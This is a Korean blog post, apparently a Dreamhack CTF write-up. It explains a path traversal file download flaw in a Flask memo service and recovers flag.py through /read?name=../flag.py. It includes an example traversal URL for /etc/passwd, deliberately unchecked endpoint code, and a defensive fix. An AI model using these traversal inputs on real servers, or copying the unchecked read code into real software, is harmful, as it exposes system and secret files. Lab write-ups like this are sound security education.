CTF

File-Download

whffu0123 2026. 6. 2. 17:45

Dreamhack File-Download Write-up

File Download Vulnerability

파일 다운로드 취약점(File Download Vulnerability) 은 웹 서비스를 통해 서버의 파일 시스템에 존재하는 파일을 내려받는 과정에서 발생하는 보안 취약점이다. 이용자가 다운로드할 파일의 이름을 임의로 정할 수 있을 때 발생한다.

웹 서비스는 이용자가 업로드한 파일을 다운로드받거나 이미지를 불러올 때 특정 디렉토리에 있는 파일만 접근하도록 해야 한다. Path Traversal을 이용한 파일 다운로드 취약점은 파일 이름을 직접 입력받아 임의 디렉토리에 있는 파일을 다운로드받을 수 있는 취약점이다.

파일 다운로드 취약점이 자주 발생하는 URL 패턴:

# 정상 요청
https://vulnerable-web.dreamhack.io/download/?filename=notes.txt

# Path Traversal 공격
https://vulnerable-web.dreamhack.io/download/?filename=../../../../../etc/passwd

방어할 때는 ..뿐 아니라 파일 시스템에 대해 부적절한 접근을 시도할 수 있는 문자열도 함께 차단해야 한다.

문자열 역할 및 설명

/ 파일 경로에서 디렉토리 구분자
\ Windows에서 디렉토리 구분자
: Windows에서 드라이브와 파일 경로 구분자
~ 홈 디렉토리를 나타냄

문제 개요

메모 업로드/다운로드 기능을 제공하는 웹 서비스에서 /upload와 /read 엔드포인트의 검사 수준이 달라 발생하는 File Download 취약점을 이용해 flag.py 파일을 읽어 플래그를 획득하는 문제.


엔드포인트 분석

/upload

@APP.route('/upload', methods=['GET', 'POST'])
def upload_memo():
    if request.method == 'POST':
        filename = request.form.get('filename')
        content = request.form.get('content').encode('utf-8')

        if filename.find('..') != -1:    # '..'이 있으면 차단!
            return render_template('upload_result.html', data='bad characters,,')

        with open(f'{UPLOAD_DIR}/{filename}', 'wb') as f:
            f.write(content)

        return redirect('/')

    return render_template('upload.html')

파일명에 ..이 포함되어 있는지 검사하여 상위 디렉토리로 이동하는 시도를 방지한다. 따라서 ../flag.py로 파일명을 입력하면 bad characters,, 메시지와 함께 차단된다.

/read

@APP.route('/read')
def read_memo():
    error = False
    data = b''

    filename = request.args.get('name', '')
    # filename에 대한 특별한 검사 진행하지 않음!

    try:
        with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
            data = f.read()
    except (IsADirectoryError, FileNotFoundError):
        error = True

    return render_template('read.html',
                            filename=filename,
                            content=data.decode('utf-8'),
                            error=error)

/upload와 달리 ..에 대한 검사를 전혀 하지 않아 파일 다운로드 공격에 취약하다.


취약점 분석

/upload와 /read의 검사 수준이 다르다는 점이 핵심 취약점이다.

엔드포인트 .. 필터링 결과

/upload  있음 ../flag.py 업로드 시도 → 차단
/read  없음 ../flag.py 읽기 요청 → 통과!

/read는 name 파라미터를 검증 없이 그대로 경로에 사용하므로, ../flag.py를 입력하면 uploads/../flag.py = flag.py가 열린다.


풀이 단계

Step 1. /upload에서 ../flag.py로 업로드 시도

Filename: ../flag.py
Content:  Give me the flag

→ bad characters,, 반환 — .. 필터링에 차단됨

Step 2. ..이 없는 정상 파일명으로 업로드

Filename: test
Content:  Give me the flag

→ uploads/test로 저장 성공

Step 3. /read 엔드포인트에서 ../flag.py로 직접 접근

/read?name=../flag.py

실제로 열리는 파일:

uploads/../flag.py = flag.py  ← uploads 탈출!

→ flag.py 내용 출력:

FLAG = 'DH{...}'

Flag

브라우저 주소창에 /read?name=../flag.py 입력 후 flag 확인

 


방어 방법

특정 페이지 또는 기능에 대해 충분히 검사하지 않거나, 페이지 간 검사 수준이 다르면 공격자는 해당 취약점을 악용하여 파일 다운로드 공격을 시도할 수 있다. 따라서 모든 페이지에서 일관되게 상위 디렉토리 이동 시도를 차단해야 한다.

# 취약한 코드 - /read에서 검사 없음
filename = request.args.get('name', '')
with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
    data = f.read()

# 안전한 코드 - 모든 엔드포인트에서 일관된 검사
filename = request.args.get('name', '')
if filename.find('..') != -1:
    return 'bad characters'

# 추가로 경로가 허용된 디렉토리 안인지 확인
filepath = os.path.abspath(os.path.join(UPLOAD_DIR, filename))
if not filepath.startswith(os.path.abspath(UPLOAD_DIR)):
    return '접근 거부!'

with open(filepath, 'rb') as f:
    data = f.read()

'CTF' 카테고리의 다른 글

pwntools - 1  (0) 2026.06.17
SSRF  (0) 2026.06.03
Image-Storage  (0) 2026.06.02
Command Injection  (0) 2026.06.02
Mango  (0) 2026.06.01